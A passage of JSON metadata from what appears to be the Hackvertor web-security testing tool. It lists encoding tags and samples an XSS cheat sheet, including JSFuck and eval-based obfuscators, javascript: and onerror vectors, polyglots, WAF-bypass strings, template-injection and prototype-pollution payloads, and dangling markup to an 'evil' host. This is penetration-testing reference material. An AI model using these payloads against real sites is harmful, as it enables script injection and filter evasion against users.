/>","call":"hv.tags.zeroWidthNoBreakSpace.encode(input)"},{"name":"zeroWidthNonJoiner","description":"This tag creates a zeroWidthNonJoiner character","category":"Unicode","builtIn":true,"selfClosing":true,"methods":["encode"],"arguments":[],"example":"<@encode(zeroWidthNonJoiner) />","call":"hv.tags.zeroWidthNonJoiner.encode(input)"},{"name":"zeroWidthSpace","description":"This tag generates a zero width space character","category":"Unicode","builtIn":true,"selfClosing":true,"methods":["encode"],"arguments":[],"example":"<@encode(zeroWidthSpace) />","call":"hv.tags.zeroWidthSpace.encode(input)"},{"name":"formatJson","description":"This tag parses the input as JSON then stringifies it and formats it.","category":"Utils","builtIn":true,"selfClosing":false,"methods":["encode"],"arguments":[],"example":"<@encode(formatJson)>input</@encode>","call":"hv.tags.formatJson.encode(input)"},{"name":"getVariable","description":"This tag gets a Hackvertor variable","category":"Variables","builtIn":true,"selfClosing":true,"methods":["encode"],"arguments":[{"type":"string","help":"This is the name of the variable","defaultValue":"foo"}],"example":"<@encode(getVariable,'foo') />","call":"hv.tags.getVariable.encode(input, arg1)"},{"name":"setVariable","description":"This tag sets a variable that can be used by other Hackvertor tags.","category":"Variables","builtIn":true,"selfClosing":false,"methods":["encode"],"arguments":[{"type":"string","help":"This is the name of the argument","defaultValue":"foo"}],"example":"<@encode(setVariable,'foo')>input</@encode>","call":"hv.tags.setVariable.encode(input, arg1)"},{"name":"formatXml","description":"This tag formats an XML string by parsing it into a DOM structure, recursively traversing its nodes, and adding appropriate indentation and line breaks for elements, text, attributes, and comments, ensuring readable, structured output.","category":"XML","builtIn":true,"selfClosing":false,"methods":["encode"],"arguments":[{"type":"number","help":"This provides the indent size","defaultValue":"2"}],"example":"<@encode(formatXml,2)>input</@encode>","call":"hv.tags.formatXml.encode(input, arg1)"},{"name":"nest","description":"This tag will nest XML nodes to a given depth. E.g. if the input is <a>test</a> the result will be:  <a><a><a>test</a></a></a> for a depth of 3","category":"XML","builtIn":true,"selfClosing":false,"methods":["encode"],"arguments":[{"type":"number","help":"This provides the depth amount","defaultValue":"512"}],"example":"<@encode(nest,512)>input</@encode>","call":"hv.tags.nest.encode(input, arg1)"},{"name":"xmlEntity","description":"This tag creates a XML entity. The parameters create a name and value.","category":"XML","builtIn":true,"selfClosing":true,"methods":["encode"],"arguments":[{"type":"string","help":"This is the entity name","defaultValue":"name"},{"type":"string","help":"This is the entity value","defaultValue":"value"}],"example":"<@encode(xmlEntity,'name','value') />","call":"hv.tags.xmlEntity.encode(input, arg1, arg2)"},{"name":"xmlToJson","description":"This tag traverses the XML and tries to convert it to JSON.","category":"XML","builtIn":true,"selfClosing":false,"methods":["encode"],"arguments":[],"example":"<@encode(xmlToJson)>input</@encode>","call":"hv.tags.xmlToJson.encode(input)"},{"name":"cdata","description":"This tag performs a crazy obfuscation using CDATA tags.","category":"XSS","builtIn":true,"selfClosing":false,"methods":["encode"],"arguments":[],"example":"<@encode(cdata)>input</@encode>","call":"hv.tags.cdata.encode(input)"},{"name":"evalFromCodePoint","description":"This tag converts every character into it's code point and then wraps it in an eval.","category":"XSS","builtIn":true,"selfClosing":false,"methods":["encode"],"arguments":[],"example":"<@encode(evalFromCodePoint)>input</@encode>","call":"hv.tags.evalFromCodePoint.encode(input)"},{"name":"hasegawa","description":"This tag recreates the EPIC non-alpha JavaScript that Yosuke Hasegawa discovered on the slackers forum.","category":"XSS","builtIn":true,"selfClosing":false,"methods":["encode"],"arguments":[{"type":"string","help":"This provides symbols to use for the non-alpha code.","defaultValue":"ªÀÁÂÃÄÆÈÉÊËÌÍÎÏÐÑÒÓÔÕÖØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõöøùúûüýþ$_"}],"example":"<@encode(hasegawa,'ªÀÁÂÃÄÆÈÉÊËÌÍÎÏÐÑÒÓÔÕÖØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõöøùúûüýþ$_')>input</@encode>","call":"hv.tags.hasegawa.encode(input, arg1)"},{"name":"jsFuck","description":"This tag encodes the JavaScript input as JSFuck. A technique to generate non-alpha JavaScript first discovered on the sla.ckers forums. The encoder is written by Martin Kleppe.","category":"XSS","builtIn":true,"selfClosing":false,"methods":["encode"],"arguments":[{"type":"boolean","help":"This argument is used to wrap the code with eval","defaultValue":"true"}],"example":"<@encode(jsFuck,true)>input</@encode>","call":"hv.tags.jsFuck.encode(input, arg1)"},{"name":"mathml","description":"This tag just returns a Math tag with the famous Einstein equation.","category":"XSS","builtIn":true,"selfClosing":true,"methods":["encode"],"arguments":[],"example":"<@encode(mathml) />","call":"hv.tags.mathml.encode(input)"},{"name":"restrictedVectors","description":"This tags returns all XSS vectors on the XSS cheat sheet that can be used with restricted characters such as no parentheses.","category":"XSS","builtIn":true,"selfClosing":true,"methods":["encode"],"arguments":[],"example":"<@encode(restrictedVectors) />","call":"hv.tags.restrictedVectors.encode(input)"},{"name":"svg","description":"This tag returns a valid SVG document for use with image/svg+xml content type.","category":"XSS","builtIn":true,"selfClosing":false,"methods":["encode"],"arguments":[],"example":"<@encode(svg)>input</@encode>","call":"hv.tags.svg.encode(input)"},{"name":"svgScriptComment","description":"Splits every character and adds a XML comment around it with SVG script.","category":"XSS","builtIn":true,"selfClosing":false,"methods":["encode"],"arguments":[],"example":"<@encode(svgScriptComment)>input</@encode>","call":"hv.tags.svgScriptComment.encode(input)"},{"name":"ternary","description":"This tag is based on a old Hackvertor tag I wrote years ago. It does random expressions and obfuscates via ternary operations.","category":"XSS","builtIn":true,"selfClosing":false,"methods":["encode"],"arguments":[],"example":"<@encode(ternary)>input</@encode>","call":"hv.tags.ternary.encode(input)"},{"name":"toStringObfuscator","description":"This obfuscate a string into a number where possible. For example \"test\" becomes 796469..toString(30)","category":"XSS","builtIn":true,"selfClosing":false,"methods":["encode"],"arguments":[{"type":"number","help":"This is the minimum base","defaultValue":"2"},{"type":"number","help":"This is the maximum base","defaultValue":36}],"example":"<@encode(toStringObfuscator,2,36)>input</@encode>","call":"hv.tags.toStringObfuscator.encode(input, arg1, arg2)"},{"name":"vectors","description":"This tag loads vectors from the events part of the XSS cheat sheet.","category":"XSS","builtIn":true,"selfClosing":true,"methods":["encode"],"arguments":[{"type":"string","help":"This provides the tag name","defaultValue":"*"},{"type":"boolean","help":"Shows vectors with user interaction or not","defaultValue":"false"}],"example":"<@encode(vectors,'*',false) />","call":"hv.tags.vectors.encode(input, arg1, arg2)"}],"variables":{"type":"object","keys":2,"entries":{"xssCheatSheet":{"type":"object","keys":20,"entries":{"angularJs":{"type":"array","length":32,"sample":"{\"versionRange\":\"1.0.1 - 1.1.5\",\"version\":\"1.0.1\",\"authors\":[{\"name\":\"Mario Heiderich\",\"company\":\"Cure53\",\"twitterUrl\":\"https://twitter.com/cure53berlin\"}],\"vec..."},"classic":{"type":"array","length":30,"sample":{"description":"Image src with JavaScript protocol","code":"<img src=\"javascript:alert(1)\">","browsers":[]}},"consumingTags":{"type":"array","length":9,"sample":"{\"description\":\"Noembed consuming tag\",\"code\":\"<noembed><img title=\\\"</noembed><img src onerror=alert(1)>\\\"></noembed>\",\"browsers\":[\"chrome\",\"firefox\",\"edge\",\"s..."},"contentTypes":{"type":"array","length":12,"sample":{"description":"text/html","code":"<script>alert(document.domain)</script>","browsers":["chrome","firefox","edge","safari"]}},"danglingMarkup":{"type":"array","length":25,"sample":"{\"description\":\"Background attribute\",\"code\":\"<body background=\\\"//evil?\\n<table background=\\\"//evil?\\n<table><thead background=\\\"//evil?\\n<table><tbody backgro..."},"encodings":{"type":"array","length":25,"sample":"{\"description\":\"Background attribute\",\"code\":\"<body background=\\\"//evil?\\n<table background=\\\"//evil?\\n<table><thead background=\\\"//evil?\\n<table><tbody backgro..."},"events":{"type":"object","keys":111,"sampleEntries":{"onshow":"{\"description\":\"Fires context menu is shown\",\"tags\":[{\"tag\":\"menu\",\"code\":\"<div ...","ontransitionstart":"{\"description\":\"Fires when a CSS transition starts\",\"tags\":[{\"tag\":\"*\",\"code\":\"<...","onprogress":"{\"description\":\"Fires when the video/audio begins downloading\",\"tags\":[{\"tag\":\"v...","ondurationchange":"{\"description\":\"Fires when duration changes\",\"tags\":[{\"tag\":\"video\",\"code\":\"<vid...","oncuechange":"{\"description\":\"Fires when subtitle changes\",\"tags\":[{\"tag\":\"track\",\"code\":\"<vid...","onwebkitanimationiteration":"{\"description\":\"Fires when a CSS animation repeats\",\"tags\":[{\"tag\":\"*\",\"code\":\"<...","onselectstart":"{\"description\":\"Fires when beginning a text selection\",\"tags\":[{\"tag\":\"body\",\"co...","onselectionchange":"{\"description\":\"Fires when text selection is changed on the page\",\"tags\":[{\"tag\"..."}},"fileUploads":{"type":"array","length":1,"sample":"{\"description\":\"Add blob to file object\",\"code\":\"<input type=\\\"file\\\" id=\\\"fileInput\\\" /><script>const fileInput = document.getElementById('fileInput');const da..."},"frameworks":{"type":"array","length":2,"sample":"{\"description\":\"Bootstrap onanimationstart event\",\"code\":\"<xss class=progress-bar-animated onanimationstart=alert(1)>\",\"browsers\":[\"chrome\",\"firefox\",\"edge\",\"sa..."},"imposssible":{"type":"array","length":10,"sample":"{\"title\":\"Basic context, WAF blocks <[a-zA-Z]\",\"descriptionHTML\":\"This lab captures the scenario when you can't use an open tag followed by an alphanumeric char..."},"obfuscation":{"type":"array","length":7,"sample":"{\"description\":\"Data protocol inside script src with base64\",\"code\":\"<script src=data:text/javascript;base64,YWxlcnQoMSk=></script>\",\"browsers\":[\"chrome\",\"firef..."},"polyglot":{"type":"array","length":3,"sample":"{\"description\":\"Polyglot payload 1\",\"code\":\"javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/\\\"/+/onmouseover=1/+/[*/[]/+alert(1)//'>\",\"..."},"protocols":{"type":"array","length":34,"sample":{"description":"Iframe src attribute JavaScript protocol","code":"<iframe src=\"javascript:alert(1)\">","browsers":["chrome","firefox","safari"]}},"prototypePollution":{"type":"array","length":22,"sample":"{\"library\":\"Wistia Embedded Video\",\"payload\":\"<script>\\nObject.prototype.innerHTML = '<img/src/onerror=alert(1)>';\\n</script>\",\"frameworkCode\":\"<script src=\\\"ht..."},"responseContentTypes":{"type":"array","length":6,"sample":"{\"description\":\"Using comma separator\",\"code\":\"<script>alert(document.domain)</script>\",\"content-type\":\"text/plain; x=x, text/html, foobar\",\"browsers\":[\"chrome\"..."},"restrictedCharacters":{"type":"array","length":26,"sample":"{\"description\":\"No parentheses using exception handling\",\"code\":\"<script>onerror=alert;throw 1</script>\",\"browsers\":[\"chrome\",\"firefox\",\"edge\",\"safari\"],\"url\":\"..."},"specialTags":{"type":"array","length":10,"sample":"{\"description\":\"Redirect to a different domain\",\"code\":\"<meta http-equiv=\\\"refresh\\\" content=\\\"0; url=//portswigger-labs.net\\\">\",\"browsers\":[\"chrome\",\"firefox\",..."},"usefulTags":{"type":"array","length":15,"sample":{"description":"Using srcdoc attribute","code":"<iframe srcdoc=\"<img src=1 onerror=alert(1)>\"></iframe>","browsers":["chrome","firefox","edge","safari"]}},"vuejs":{"type":"array","length":49,"sample":"{\"authors\":[{\"name\":\"Mario Heiderich\",\"company\":\"Cure53\",\"twitterUrl\":\"https://twitter.com/cure53berlin\"}],\"vector\":\"{{constructor.constructor('alert(1)')()}}\",..."},"wafBypassGlobalObj":{"type":"array","length":56,"sample":"{\"description\":\"XSS into a JavaScript string: string concatenation (window)\",\"code\":\"';window['ale'+'rt'](window['doc'+'ument']['dom'+'ain']);//\",\"browsers\":[\"c..."}}},"htmlEntities":{"type":"object","keys":2125,"sampleEntries":{"Aacute":193,"aacute":225,"Abreve":258,"abreve":259,"ac":8766,"acd":8767,"acE":8766,"Acirc":194}}}}}